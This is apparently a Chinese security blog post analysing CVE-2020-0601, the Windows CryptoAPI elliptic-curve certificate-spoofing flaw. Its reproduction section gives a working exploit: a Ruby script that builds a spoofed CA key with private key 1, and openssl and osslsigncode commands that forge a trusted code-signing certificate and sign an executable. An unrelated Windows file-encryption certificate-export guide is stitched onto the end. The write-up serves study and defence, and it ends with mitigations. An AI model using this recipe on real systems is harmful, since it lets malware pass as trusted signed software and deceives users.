一.漏洞背景
1月15日,微軟發(fā)布了針對(duì)CVE-2020-0601的安全補(bǔ)丁,該漏洞是微軟在實(shí)現(xiàn)橢圓曲線加密(ECC)算法數(shù)字證書驗(yàn)證時(shí)產(chǎn)生,位于CryptoAPI.dll文件,可被利用于偽造來自可信任來源的簽名或證書,并且因其業(yè)務(wù)特性會(huì)衍生出多種攻擊向量,具有極高的可利用價(jià)值和極大的潛在破壞力,Win10和windows server 2016 & 2019也都在其影響范圍內(nèi)。
有意思的是,在微軟發(fā)布公告后,NSA也發(fā)布了關(guān)于CVE-2020-0601漏洞的預(yù)警通告。根據(jù)通告可以得知,這個(gè)漏洞是由NSA率先獨(dú)立發(fā)現(xiàn)并匯報(bào)給微軟的(微軟在報(bào)告中對(duì)NSA致謝),也被認(rèn)為是第一個(gè)NSA公開披露的軟件系統(tǒng)漏洞,當(dāng)然也有可能存在其特殊的戰(zhàn)術(shù)目的。
該漏洞位于Windows CryptoAPI(Crypt32.dll)驗(yàn)證橢圓曲線加密算法證書的方式,可能影響信任的一些實(shí)例包括:
HTTPS連接
文件簽名
電子郵件簽名
以用戶模式啟動(dòng)的簽名可執(zhí)行程序
此外,該漏洞可以讓攻擊者偽造代碼簽名證書對(duì)惡意可執(zhí)行文件進(jìn)行簽名,使文件看似來自可信的來源。例如,可以讓勒索軟件或其他間諜軟件擁有看似有效的證書,從而促使用戶安裝。中間人攻擊并解密用戶連接到受影響軟件的機(jī)密信息也是主要的攻擊場(chǎng)景之一。
目前,支持使用帶有指定參數(shù)的ECC密鑰的證書的Microsoft Windows版本會(huì)受到影響,包括了Windows 10、Windows Server 2016/2019以及依賴于Windows CryptoAPI的應(yīng)用程序。而Windows 10 之前的版本,如Windows 7、Windows Server 2008 R2 等均不受該漏洞的影響。因?yàn)閣in7沒有默認(rèn)添加微軟的ECC根證書,crypt32.dll里面也沒這個(gè)hash值,沒法直接對(duì)比通過,故不受影響。
該部分主要參考下面兩篇文章,再次感謝,也強(qiáng)烈推薦大家閱讀這兩位老師的博客。花這么多篇幅介紹原理知識(shí),一方面是完善自己的安全知識(shí)體系,另一方面只有深入了解原理才能更好地做防御。
1.ECC加密算法
CVE-2020-0601的根源是微軟的加密庫crypt32.dll中橢圓曲線加密算法的實(shí)現(xiàn)問題,首先我們來了解一下橢圓加密算法的基本原理。
基礎(chǔ)知識(shí)
ECC私鑰+橢圓曲線=ECC公鑰
漏洞成因
微軟的私鑰+微軟選的橢圓曲線=微軟根證書里面的公鑰
黑客的私鑰+黑客選的橢圓曲線=微軟根證書里面的公鑰
不同的橢圓曲線和不同的私鑰,能產(chǎn)生一模一樣的公鑰。win10默認(rèn)添加了微軟的ECC根證書,在做證書驗(yàn)證時(shí),會(huì)一直驗(yàn)證到微軟根證書中的公鑰hash值,這個(gè)值直接寫在了crypt32.dll里面,驗(yàn)證時(shí)沒有對(duì)比是不是同一個(gè)橢圓曲線,只對(duì)比了公鑰值,導(dǎo)致了黑客拿自己的私鑰簽名,就能偽裝成微軟的簽名。
ECC算法
要形象地理解橢圓曲線加密算法,可以結(jié)合圖形來看,以下是一個(gè)符合橢圓曲線的方程及圖像。
橢圓曲線具有的一些獨(dú)特的性質(zhì)使它適合用于加密算法:
橢圓曲線關(guān)于x軸對(duì)稱
任何一條非垂直的線與曲線最多有三個(gè)點(diǎn)相交
曲線是光滑的,即曲線的所有點(diǎn)都沒有兩個(gè)或者兩個(gè)以上的不同的切線
在橢圓曲線上任意兩點(diǎn)A、B(若A、B重合則作A的切線),作直線交于橢圓曲線另一點(diǎn)C’,過C’做y軸的平行線與橢圓曲線交于C點(diǎn),定義A+B=C。橢圓曲線的加法符合交換律和結(jié)合律。
如果A、B是同一個(gè)點(diǎn),則過A作橢圓曲線的切線,以同樣的方法得到對(duì)應(yīng)的結(jié)果 C=2A 。
接下來是橢圓曲線加密相關(guān)的重點(diǎn),如果對(duì)多個(gè)A進(jìn)行累加,則可依次累加連線得到nA的值 。
橢圓曲線加密算法的數(shù)學(xué)依據(jù) :
考慮K=kG,其中K、G為橢圓曲線Ep(a,b)上的點(diǎn),n為G的階。k為小于n的整數(shù)。給定k和G,根據(jù)加法法則計(jì)算K很容易(逐次求解);但反過來,給定K和G,求k就非常困難。因?yàn)閷?shí)際使用中的ECC原則上把私鑰k取得相當(dāng)大,n也相當(dāng)大,且橢圓曲線不再連續(xù)而是在實(shí)數(shù)內(nèi)離散的值,要把n個(gè)解點(diǎn)逐一算出幾乎是不可能的。
點(diǎn)G稱為基點(diǎn)
k(k<n)為私有密鑰
K為公開密鑰
ECC和RSA加密算法對(duì)比:
橢圓曲線加密算法(ECC)和RSA同樣是一種公開密鑰加密技術(shù),對(duì)原始數(shù)據(jù)以公鑰加密,以私鑰解密,即便攻擊者獲取密文和公鑰也無法(在合理的時(shí)間或代價(jià)下)解密獲取明文。ECC常被應(yīng)用于數(shù)字簽名,以私鑰加密生成簽名,以公鑰解密驗(yàn)證簽名,如果和原文一樣則簽名驗(yàn)證成功。公開密鑰加密之所以可靠是因?yàn)樗鼈兝昧斯€密碼領(lǐng)域的單向函數(shù)原理,正向操作非常簡(jiǎn)單,而逆向操作非常困難。由G(基點(diǎn))出發(fā),進(jìn)行k(私鑰)次變換,很容易地得到終點(diǎn)K(公鑰)的值。
已知起點(diǎn)G(基點(diǎn))和終點(diǎn)K(公鑰),要逆推得到移動(dòng)次數(shù)k(私鑰)則是一個(gè)很難的問題。相比傳統(tǒng)RSA加密算法,橢圓加密算法具有著天生的優(yōu)勢(shì),橢圓加密算法的逆向過程相比RSA有著更大的時(shí)間復(fù)雜度。在密鑰長(zhǎng)度相同的情況下,橢圓加密算法相比RSA具有更好的安全強(qiáng)度。 一般認(rèn)為,160比特的橢圓曲線密鑰即可提供與1024比特的RSA密鑰相當(dāng)?shù)陌踩珡?qiáng)度。
較短的密鑰也意味著更少的存儲(chǔ)空間、更快的加解密速度和更少的帶寬消耗,正因?yàn)闄E圓加密算法的這些優(yōu)勢(shì),它被用于Windows的簽名系統(tǒng)、https的證書、比特幣系統(tǒng)和中國(guó)的二代身份證系統(tǒng)中。
雖然橢圓曲線加密算法具有著許多優(yōu)勢(shì),純算法角度攻破難度極大,微軟對(duì)此算法的實(shí)現(xiàn)的缺漏卻給漏洞利用提供了可乘之機(jī)。回到橢圓曲線加密最基本的等式 K=kG,首先需要明確的是,雖然對(duì)于給定的基點(diǎn)G和公鑰K,要求解私鑰k很困難,但是如果可以任意指定基點(diǎn)G,要構(gòu)造一對(duì)k和G使等式成立卻極其簡(jiǎn)單。最簡(jiǎn)單的情況,令基點(diǎn)G=K,則私鑰k=1,這樣一對(duì)基點(diǎn)和私鑰可以使等式成立,也是有效的解。
在正常的標(biāo)準(zhǔn)橢圓曲線算法中,基點(diǎn)G并不是隨意指定的,而是有固定的值(標(biāo)準(zhǔn)文件會(huì)對(duì)基點(diǎn)G等參數(shù)的選擇做出規(guī)定),例如在secp256r1版本的橢圓曲線算法中,基點(diǎn)G應(yīng)當(dāng)為標(biāo)準(zhǔn)規(guī)定的固定值,如果對(duì)參數(shù)不加驗(yàn)證,使得用戶可以自定義傳入的基點(diǎn)G值(作為函數(shù)的參數(shù)),上面的私鑰k=1的特殊解即可成立。
在有漏洞版本的crypt32.dll中驗(yàn)證使用ECC算法簽名部分的函數(shù)恰恰是這個(gè)情況,原先的函數(shù)未加參數(shù)驗(yàn)證,參與計(jì)算的基點(diǎn)G的內(nèi)容由被驗(yàn)證的證書隨意指定,使未授權(quán)的證書能夠構(gòu)建私鑰k=1的特殊解來成功通過橢圓加密算法的簽名驗(yàn)證的過程。
2.Windows證書驗(yàn)證
以SSL協(xié)議為例,講解Windows如何進(jìn)行證書驗(yàn)證。比如,小明(m)在某電商(x)網(wǎng)站上購(gòu)買了一本書,這時(shí)就調(diào)用了SSL協(xié)議進(jìn)行通訊,建立SSL協(xié)議的步驟總結(jié)為下圖。
基本步驟包括:
① 打招呼: 小明和電商互相介紹自己,小明和電商協(xié)商好以后的步驟里將使用到的特定密碼算法。在本漏洞中,該算法為ECC加密算法。(該步驟沒有利用密碼工具)
② 身份驗(yàn)證: 電商向小明驗(yàn)證自己的身份,電商發(fā)送包含自己的公鑰的證書。該證書由權(quán)威的第三方證書機(jī)構(gòu)(CA)頒發(fā)。小明使用CA的公開驗(yàn)證密鑰,驗(yàn)證證書中對(duì)PK的簽名。(漏洞觸發(fā)地方)
③ 信息加密: 由小明生成一個(gè)隨機(jī)的密鑰MS,該密鑰用于生成對(duì)雙方傳輸?shù)男畔⑦M(jìn)行對(duì)稱加密的K1與K2。MS由小明獲得的公鑰進(jìn)行加密并交給電商。電商通過手中的私鑰解密獲得MS。這時(shí)雙方都獲得了用于進(jìn)行加密通訊的密鑰。
注意:
在SSL會(huì)話過程中,只有電商一方被要求提供證書,小明可能根本沒有公鑰(或證書)。這和我們平時(shí)去小賣部買東西一樣,銷售方需要提供銷售許可, 而你只需要付錢就可以了。
該漏洞的觸發(fā)點(diǎn)在于 第三方權(quán)威機(jī)構(gòu)(Windows) 在步驟②驗(yàn)證證書時(shí)產(chǎn)生的邏輯漏洞,使得攻擊者可以通過偽造證書將自身偽裝成電商, 與小明 進(jìn)行通訊。從而達(dá)到騙財(cái)騙色騙信息的目的。
通過及時(shí)更新微軟補(bǔ)丁包可以有效防止上述情況的發(fā)生。
接著我們分享微軟驗(yàn)證證書的機(jī)制,以及其存在的邏輯漏洞。
在Windows系統(tǒng)訪問一個(gè)網(wǎng)站(例Github.com)時(shí), 該網(wǎng)站會(huì)向Windows系統(tǒng)發(fā)送由第三方權(quán)威機(jī)構(gòu)(CA)簽署的網(wǎng)站證書。
為了方便下一次更快的訪問,Windows將驗(yàn)證成功的證書放入內(nèi)存中一塊Certificate Cache(證書緩存)中。在下一次校驗(yàn)時(shí),如果該證書存在于緩存中,則直接取緩存中的值進(jìn)行校驗(yàn)。這里利用CVE-2020-0601。
在成功緩存證書數(shù)據(jù)后,根據(jù)下面描述的Windows證書緩存機(jī)制,惡意網(wǎng)站可以偽造虛假的網(wǎng)站(例github.com)證書且通過Windows驗(yàn)證,將自身偽裝成合法網(wǎng)站。
當(dāng) Windows 接收到新的證書時(shí),Windows 將新接收的證書與已緩存證書的證書的公鑰進(jìn)行遍歷對(duì)比,尋找匹配的值。
偽造的惡意證書與Windows系統(tǒng)中的緩存證書有同樣的公鑰,但Curve項(xiàng)沒有在校驗(yàn)范圍內(nèi),所以可以通過構(gòu)造自定義Curve來偽造證書。使得證書驗(yàn)證流程依然成立,但通過驗(yàn)證的證書已經(jīng)不是之前成功驗(yàn)證的安全證書。
寫到這里,如果您懵圈了,沒關(guān)系!我也哭暈了好幾次,都發(fā)求救貼了,接著我們看看實(shí)際操作吧~
首先,我?guī)ьI(lǐng)大家看看Windows證書。運(yùn)行中輸入“certmgr.msc”,可以看到這里面有5個(gè)系統(tǒng)默認(rèn)的ECC簽名的根證書,如下圖所示。
我們隨意導(dǎo)出其中一個(gè)根證書,導(dǎo)出直接選擇Base64編碼那個(gè)就行。
可以看到導(dǎo)出的ECC密鑰證書如下圖所示,包括證書的有效期等信息。這就是微軟在實(shí)現(xiàn)橢圓曲線加密(ECC)算法的數(shù)字證書,位于CryptoAPI.dll文件,也是被我們利用來偽造可信任來源的簽名漏洞。
同樣,我們可以通過Powershell(其用法推薦前文)查看默認(rèn)的根證書。
dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }
2.環(huán)境搭建
Linux系統(tǒng)、Windows系統(tǒng)WSL軟件(Windows Subsystem for Linux)
Ruby環(huán)境、Python環(huán)境
Github資源:main.rb、openssl_cs.conf、簽名證書
可執(zhí)行exe文件(用于簽名
由于作者是Windows環(huán)境,但需要運(yùn)行Linux命令,所以這里安裝了Windows Subsystem for Linux軟件。
第一步,打開應(yīng)用商城搜索“WSL”,可根據(jù)自己需求選擇安裝一個(gè)或多個(gè)Linux系統(tǒng)。
第二步,安裝完成后可以在開始菜單的最近添加中打開Ubuntu。第一次打開Ubuntu時(shí),會(huì)提示你創(chuàng)建新的用戶賬戶和密碼。這個(gè)用戶賬戶只是普通的非管理員用戶,如果要提升權(quán)限,需要使用sudo命令。
下面可以測(cè)試該環(huán)境已經(jīng)搭建成功,我們能在Windows系統(tǒng)下運(yùn)行Linux。
第三步,我們復(fù)制文件進(jìn)入。作者使用WSL,主要還因?yàn)樗牧硪粋€(gè)優(yōu)勢(shì),能夠訪問Windows系統(tǒng)的內(nèi)容,靈活復(fù)制和切換文件。
路徑為:\wsl$\Ubuntu\home\yxz
第四步,使用openssl查看證書信息的內(nèi)容,后面我們會(huì)反復(fù)使用該命令。
openssl x509 -in ca.cer -text -noout
在計(jì)算機(jī)網(wǎng)絡(luò)上,OpenSSL是一個(gè)開放源代碼的軟件庫包,應(yīng)用程序可以使用這個(gè)包來進(jìn)行安全通信,避免竊聽,同時(shí)確認(rèn)另一端連接者的身份。這個(gè)包廣泛被應(yīng)用在互聯(lián)網(wǎng)的網(wǎng)頁服務(wù)器上。
3.漏洞還原
接下來將詳細(xì)講解如何還原可執(zhí)行文件簽名證書偽裝漏洞。
第一步,安裝Ruby環(huán)境并測(cè)試。
安裝環(huán)境:sudo apt install ruby
查看版本:ruby -v
創(chuàng)建文件:touch HelloWorld.ry
編輯代碼:vim HelloWorld.ry
運(yùn)行代碼:ruby HelloWorld.ry
第二步,提取ECC根證書公鑰信息。
將main.rb文件和導(dǎo)出的微軟ECC簽名證書文件復(fù)制或上傳至Linux系統(tǒng)或WSL。注意,這里的ECC證書也可以使用上面我們導(dǎo)出的那個(gè)文件。
接著運(yùn)行ruby代碼。
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
此時(shí)生成“spoofed_ca.key”公鑰文件
main.rb代碼如下,設(shè)置私鑰為1,使得加密等式成立,并生成證書公鑰文件。
require 'openssl'
raw=File.read ARGV[0] # 讀取使用ECC算法的證書文件
ca=OpenSSL::X509::Certificate.new(raw) # 讀取使用ECC算法的證書
ca_key=ca.public_key # 從證書中提取公鑰ca_key
ca_key.private_key=1 # 設(shè)置私鑰為1,使得公鑰K==1*基點(diǎn)G的等式成立
group=ca_key.group
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag=OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group=group # 利用構(gòu)建的假基點(diǎn)G和假密鑰k設(shè)置新group
File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem } # 將新的group寫入文件
第三步,基于此密鑰生成一個(gè)新的x509證書,這將是我們自己的欺騙性CA。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
注意,國(guó)家、地區(qū)、作者可以隨意填寫,此時(shí)生成“spoofed_ca.crt”公鑰文件。
第四步,生成一個(gè)新密鑰。該密鑰可以是您想要的任何類型,它將用于創(chuàng)建代碼簽名證書,我們將使用自己的CA對(duì)其進(jìn)行簽名。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
此時(shí)生成“cert.key”新密鑰文件。
第五步,接下來創(chuàng)建一個(gè)新的證書簽名請(qǐng)求(CSR)。該請(qǐng)求通常會(huì)發(fā)送到受信任的CA,但是由于存在欺騙請(qǐng)求,因此我們可以自己對(duì)其進(jìn)行簽名。
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
注意,需要復(fù)制openssl_cs.conf文件進(jìn)去,此時(shí)生成“cert.csr”文件。
第六步,使用我們的欺騙性CA和CA密鑰簽署新的CSR。該證書將在2047年到期,而真正的受信任Microsoft CA將在2043年到期。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
生成“cert.crt”簽名證書文件。
第七步,將證書的密鑰和欺騙性的CA打包到一個(gè)PKCS12文件中,以對(duì)可執(zhí)行文件進(jìn)行簽名。
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
生成“cert.p12”名證書文件。
第八步,用PKCS12文件簽名可執(zhí)行文件。
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in python.exe -out python_signed.exe
注意,osslsigncode可能需要安裝,如下所示。
用PKCS12文件簽名可執(zhí)行文件,最終生成“python_signed.exe”簽名可執(zhí)行文件。
第九步,文件右鍵”屬性“打開,如下所示,多了”數(shù)字簽名“且能看查看”詳細(xì)信息”。
點(diǎn)擊”查看證書”,可以看到具體信息,比如2047年到期,頒發(fā)者為我們?cè)O(shè)置的“hacker”,以及設(shè)置的簽名信息,并且證書是可靠地。該可執(zhí)行文件的數(shù)字簽名校驗(yàn)通過,并且成功欺騙了系統(tǒng)。
如果更新補(bǔ)丁知乎,可執(zhí)行文件的數(shù)字簽名會(huì)無法驗(yàn)證。
四.防御措施及總結(jié)
緩解措施
快速采用補(bǔ)丁是目前已知較好的緩解措施。盡管尚未出現(xiàn)公開的攻擊方式和案例,但建議大家及時(shí)安裝安全更新。更新后,當(dāng)檢測(cè)到有人試圖利用CVE-2020-0601進(jìn)行攻擊時(shí),系統(tǒng)將在每次重新啟動(dòng)Windows日志后在事件查看器中生成事件ID。
安全建議
除了安裝修補(bǔ)程序之外,企業(yè)還可以采取其他措施保護(hù)端點(diǎn),比如:
(1) 從網(wǎng)絡(luò)流量中提取證書,檢查可疑的屬性;
(2) 通過執(zhí)行TLS檢查,不使用Windows進(jìn)行證書驗(yàn)證的代理設(shè)備承載流量;
(3) 在企業(yè)內(nèi)部部署私有根證書頒發(fā)機(jī)構(gòu),并且在特定計(jì)算機(jī)/服務(wù)器位置控制第三方軟件的部署和使用;
(4) 符合條件的企業(yè)可以申請(qǐng)加入微軟 Security Update Validation Program (SUVP) 或 Microsoft Active Protections Program (MAPP),從而提前從微軟獲得安全更新以進(jìn)行相關(guān)的測(cè)試分析。
下一篇作者將嘗試?yán)迷撀┒磸?fù)現(xiàn)HTTPS劫持案例,真的花費(fèi)了很多精力,希望您喜歡。
希望這系列文章對(duì)您有所幫助,真的感覺自己技術(shù)好菜,要學(xué)的知識(shí)好多。這是第46篇原創(chuàng)的安全系列文章,從網(wǎng)絡(luò)安全到系統(tǒng)安全,從木馬病毒到后門劫持,從惡意代碼到溯源分析,從滲透工具到二進(jìn)制工具,還有Python安全、頂會(huì)論文、黑客比賽和漏洞分享。未知攻焉知防,人生漫漫其路遠(yuǎn)兮,作為初學(xué)者,自己真是爬著前行,感謝很多人的幫助,繼續(xù)爬著,繼續(xù)加油!
故障現(xiàn)象:
系統(tǒng)自帶的加密功能對(duì)文件加密后,如何在其他電腦訪問?如下圖:
解決方案:
提示:這個(gè)加密功能需要專業(yè)版及以上系統(tǒng)才支持,且需要在加密文件的賬戶下導(dǎo)出證書才可以正常使用。如果需要重裝系統(tǒng),一定要保證證書已經(jīng)導(dǎo)出,一旦證書沒導(dǎo)出或者丟失,加密的文件將無法打開。
一、按“Windows+R”組合鍵打開運(yùn)行框,然后輸入“mmc”,點(diǎn)擊確定,如下圖:
二、在“控制臺(tái)”菜單上,單擊“添加/刪除管理單元”,如下圖:
三、選擇“證書”,點(diǎn)擊“添加”,然后選擇“我的用戶帳戶”,點(diǎn)擊“完成”,如下圖:
四、添加完成后,點(diǎn)擊“確認(rèn)”,如下圖:
五、打開“個(gè)人”→“證書”,然后導(dǎo)出當(dāng)前帳戶的加密文件系統(tǒng)證書,如下圖:
六、然后點(diǎn)擊“下一步”→“是”→“導(dǎo)出私鑰”→默認(rèn)設(shè)置點(diǎn)擊“下一步”→設(shè)置證書安裝密碼(此密碼安裝證書時(shí)需要輸入)→選擇“證書保存的路徑和設(shè)置證書的名字”→點(diǎn)擊“完成”,如下圖:
七、導(dǎo)出證書后,如果想在另外一臺(tái)電腦打開,將證書拷貝到電腦上,加密的文件即可通過證書打開。
本文提供的技術(shù)方案或與您產(chǎn)品的實(shí)際情況有所差異,您需在完整閱讀方案并知曉其提示風(fēng)險(xiǎn)的情況下謹(jǐn)慎操作,避免造成任何損失。